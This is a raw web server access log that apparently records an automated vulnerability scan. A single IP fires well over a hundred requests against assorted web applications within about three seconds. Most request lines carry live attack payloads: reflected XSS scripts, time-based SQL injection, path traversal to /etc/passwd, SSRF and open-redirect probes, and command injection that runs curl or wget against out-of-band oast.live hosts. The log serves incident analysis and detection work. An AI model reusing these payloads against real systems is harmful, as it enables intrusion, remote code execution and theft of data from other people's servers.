[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?class.module.classLoader.resources.context.configFile=https://d5g6to2hausk1oj0j65g374i5mh31oi89.oast.live&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1" 3426
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ExportLogs.sh HTTP/1.1" 199
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php?secret=\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin?piereg_logout_url=true&redirect_to=https://oast.me HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /%2577eb%2575i_%2577sma_Http HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fp-content/ HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/suppliers/view_details.php?id=1'+AND+(SELECT+9687+FROM+(SELECT(SLEEP(6)))pnac)+AND+'ARHJ'='ARHJ HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?action=send2friend&artlang=aaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /queues HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search-locker-details.php HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/download?download-url=/_a7/p49dm7f4qjyt/output/&name=exam.pdf HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /functions/scripts/find_full_subnets.php HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=surveySubmit&a=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ExportReportingManager.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/lp/v1/courses/archive-course?template_path=..%2F..%2F..%2Fetc%2Fpasswd&return_type=html HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /spcgi.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/clusters/kubeconfig/k8s HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /kubepi/api/v1/systems/login/logs/search?pageNum=1&&pageSize=10 HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /json/setup-restore.action HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setupadministrator-start.action HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /SamlResponseServlet HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /kubepi/api/v1/users HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images//////////////////../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /controlplane HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /saas./resttosaasservlet HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /accounts/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/popen.cgi?command=cat%20/etc/passwd&v=0.1303033443137912 HTTP/1.1" 199
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/cfom_files/380diex39s30oztgdtvjbmajgny.php HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /spcgi.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?SPAI_VJS=%3C/script%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloader.php?file=%3Becho+CVE-2023-23333|rev%00.zip HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/configure/set_link_neg?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/dialog/select_templets.php?f=form1.templetactivepath=%2ftemplets/../..\\..\\..\\ HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /template/aui/text-inline.vm HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=<script>alert(document.cookie)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /aspera/faspex/package_relay/relay_package HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2/parameters/core/ HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/scrape/kube-system HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?phonepe_action=curltestPhonePe&url=http://d5g6to2hausk1oj0j65gxzjmm81dc7snq.oast.live HTTP/1.1" 3426
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shib_logout.php?action=logout&return=https://oast.me HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=lwp_forgot_password&ID=<svg%20onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?c=blocked&action=continue HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /csrf HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?return_url=javascript:alert(document.domain) HTTP/1.1" 3426
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/2.0/mlflow/registered-models/create HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/index.php/v1/config/application?public=true HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jeecg-boot/jmreport/qurestSql HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(7)))a)--%20- HTTP/1.1" 3426
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goanywhere/lic/accept HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%255c%255cd5g6to2hausk1oj0j65g1cty7z9caxeih.oast.live%255cC$%255cbb HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.gz HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.lz HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.rar HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cimg%20src=%22&small HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsps/genrequest.jsp?routineName=\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:54:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php/management/set_timezone HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod&by_id=/../../../../../../r%26_=--><script>alert(document.cookie)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ilias/shib_logout.php?action=logout&return=https://oast.me HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_api/web/siteusers HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cas/logout?url=https://oast.pro\"><img%20src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gift-voucher/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/2.0/mlflow/model-versions/create HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/configure/swports_adjust?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /minio/bootstrap/v1/verify HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /library/custom_template/share_template.php?list_id=1}});}}alert(document.domain);function%20x(){if(1){a=({a:{a:1 HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /druid/indexer/v1/sampler?for=connect HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Login.php?f=login HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Login.php?f=login HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /inc/jquery/uploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /texteditor.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cpanelwebcall/%3Cimg%20src=x%20onerror=%22prompt%28document.domain%29%22%3Eaaaaaaaaaaaa HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hax/..CFIDE/adminapi/administrator.cfc?method=getBuildNumber&_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forms/doLogin?login_username=admin&password=password$(curl%20d5g6to2hausk1oj0j65giez75pkee9rmk.oast.live)&x=0&y=0 HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /templates/editor-preload-container HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/paid-memberships-pro/js/updates.js HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?url=<img/src=\"http://d5g6to2hausk1oj0j65gp9kcuyt47dx5u.oast.live\"> HTTP/1.1" 3426
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /111/rs:fit:400:400:0:0/plain/http://d5g6to2hausk1oj0j65gy6cjxue8nxtk5.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/avatars/favicon?url=http://d5g6to2hausk1oj0j65gwamz1kk3kqdk3.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client/manage/ourphp_tz.php?act=rt&callback=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app?service=page/SetupCompleted HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/admin/convert/export_z3950.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%20/base/connectionLost.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/operations/ciscosb-file:form-file-upload HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /flash/addcrypted2 HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tshirtecommerce/ajax.php?type=svg HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://d5g6to2hausk1oj0j65gumynxj37q1qis.oast.live%27)%3b// HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/fax_change_faxtrace_settings HTTP/1.1" 199
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug HTTP/1.1" 3426
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /session/login HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/cstecgi.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /spip.php?page=spip_pass HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mbilling/lib/icepay/icepay.php?democ=380DIjEIzGOm8UEaUkzOlVWcNxt;curl%20d5g6to2hausk1oj0j65g8jm7mf9uz37z8.oast.live; HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/snjCustomDesignConfig?fileName=../dbconfig.xmlpasswd&fileMime=$textMime HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(document.domain)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d HTTP/1.1" 3426
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/hassio/app/.%252e/supervisor/info HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/1 HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_admin/imgdownload.php?filename=imgdownload.php HTTP/1.1" 196
[09/Jan/2026:10:54:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/add-article-by-text HTTP/1.1" 196
